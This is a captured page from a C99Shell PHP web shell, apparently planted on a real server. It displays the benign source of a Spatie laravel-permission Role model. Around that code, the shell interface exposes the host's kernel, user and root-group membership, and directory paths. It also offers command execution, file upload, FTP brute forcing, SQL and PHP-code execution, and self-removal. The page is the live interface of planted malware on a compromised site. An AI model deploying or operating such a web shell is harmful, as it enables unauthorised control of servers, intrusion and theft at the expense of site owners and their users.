!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.qr.picotech.app/public_html/vendor/spatie/laravel-permission/src/Models/   drwxr-xr-x
Free 26.55 GB of 117.98 GB (22.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Role.php (4.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Permission\Models;

use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Database\Eloquent\Relations\BelongsToMany;
use 
Spatie\Permission\Contracts\Role as RoleContract;
use 
Spatie\Permission\Exceptions\GuardDoesNotMatch;
use 
Spatie\Permission\Exceptions\RoleAlreadyExists;
use 
Spatie\Permission\Exceptions\RoleDoesNotExist;
use 
Spatie\Permission\Guard;
use 
Spatie\Permission\Traits\HasPermissions;
use 
Spatie\Permission\Traits\RefreshesPermissionCache;

class 
Role extends Model implements RoleContract
{
    use 
HasPermissions;
    use 
RefreshesPermissionCache;

    protected 
$guarded = ['id'];

    public function 
__construct(array $attributes = [])
    {
        
$attributes['guard_name'] = $attributes['guard_name'] ?? config('auth.defaults.guard');

        
parent::__construct($attributes);
    }

    public function 
getTable()
    {
        return 
config('permission.table_names.roles'parent::getTable());
    }

    public static function 
create(array $attributes = [])
    {
        
$attributes['guard_name'] = $attributes['guard_name'] ?? Guard::getDefaultName(static::class);

        if (static::
where('name'$attributes['name'])->where('guard_name'$attributes['guard_name'])->first()) {
            throw 
RoleAlreadyExists::create($attributes['name'], $attributes['guard_name']);
        }

        return static::
query()->create($attributes);
    }

    
/**
     * A role may be given various permissions.
     */
    
public function permissions(): BelongsToMany
    
{
        return 
$this->belongsToMany(
            
config('permission.models.permission'),
            
config('permission.table_names.role_has_permissions'),
            
'role_id',
            
'permission_id'
        
);
    }

    
/**
     * A role belongs to some users of the model associated with its guard.
     */
    
public function users(): BelongsToMany
    
{
        return 
$this->morphedByMany(
            
getModelForGuard($this->attributes['guard_name']),
            
'model',
            
config('permission.table_names.model_has_roles'),
            
'role_id',
            
config('permission.column_names.model_morph_key')
        );
    }

    
/**
     * Find a role by its name and guard name.
     *
     * @param string $name
     * @param string|null $guardName
     *
     * @return \Spatie\Permission\Contracts\Role|\Spatie\Permission\Models\Role
     *
     * @throws \Spatie\Permission\Exceptions\RoleDoesNotExist
     */
    
public static function findByName(string $name$guardName null): RoleContract
    
{
        
$guardName $guardName ?? Guard::getDefaultName(static::class);

        
$role = static::where('name'$name)->where('guard_name'$guardName)->first();

        if (! 
$role) {
            throw 
RoleDoesNotExist::named($name);
        }

        return 
$role;
    }

    public static function 
findById(int $id$guardName null): RoleContract
    
{
        
$guardName $guardName ?? Guard::getDefaultName(static::class);

        
$role = static::where('id'$id)->where('guard_name'$guardName)->first();

        if (! 
$role) {
            throw 
RoleDoesNotExist::withId($id);
        }

        return 
$role;
    }

    
/**
     * Find or create role by its name (and optionally guardName).
     *
     * @param string $name
     * @param string|null $guardName
     *
     * @return \Spatie\Permission\Contracts\Role
     */
    
public static function findOrCreate(string $name$guardName null): RoleContract
    
{
        
$guardName $guardName ?? Guard::getDefaultName(static::class);

        
$role = static::where('name'$name)->where('guard_name'$guardName)->first();

        if (! 
$role) {
            return static::
query()->create(['name' => $name'guard_name' => $guardName]);
        }

        return 
$role;
    }

    
/**
     * Determine if the user may perform the given permission.
     *
     * @param string|Permission $permission
     *
     * @return bool
     *
     * @throws \Spatie\Permission\Exceptions\GuardDoesNotMatch
     */
    
public function hasPermissionTo($permission): bool
    
{
        if (
config('permission.enable_wildcard_permission'false)) {
            return 
$this->hasWildcardPermission($permission$this->getDefaultGuardName());
        }

        
$permissionClass $this->getPermissionClass();

        if (
is_string($permission)) {
            
$permission $permissionClass->findByName($permission$this->getDefaultGuardName());
        }

        if (
is_int($permission)) {
            
$permission $permissionClass->findById($permission$this->getDefaultGuardName());
        }

        if (! 
$this->getGuardNames()->contains($permission->guard_name)) {
            throw 
GuardDoesNotMatch::create($permission->guard_name$this->getGuardNames());
        }

        return 
$this->permissions->contains('id'$permission->id);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--